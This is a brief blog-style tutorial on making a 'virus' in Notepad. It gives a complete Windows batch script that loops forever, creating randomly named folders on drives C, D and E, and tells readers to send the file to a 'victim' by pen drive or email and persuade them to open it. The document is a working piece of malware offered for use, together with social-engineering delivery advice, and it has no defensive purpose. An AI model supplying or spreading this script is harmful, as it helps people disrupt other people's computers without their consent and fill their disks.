How to create virus with notepad

Step 1 : We will Create a Virus
Step 2 : We will Check it on Victims
Computer.
[ Note : Don't try it on your computer ]

STEP 1: OPEN NOTEPAD AND COPY THE
FOLLOWING CODE IN NOTEPAD.
Open your notepad from [Start >> Run >>
Type "Notepad" >>Press Enter ]

Copy the Following Code and paste it in
notepad then Save it as "virus.bat". [you
can also save with different name but
extension must be .bat]
Copy these into de notepad

@echo off
:VIRUS
cd /d C:
md %RANDOM%
cd /d D:
md %RANDOM%
cd /d E:
md %RANDOM%
goto VIRUS
REM #######################
REM errorcode401.blogspot.in

STEP 2: GIVE IT TO VICTIM
Now Give this file to Victim via Pen-drive
or Mail then ask to Open it.
It will Create More Folder in C,D,and E
drive.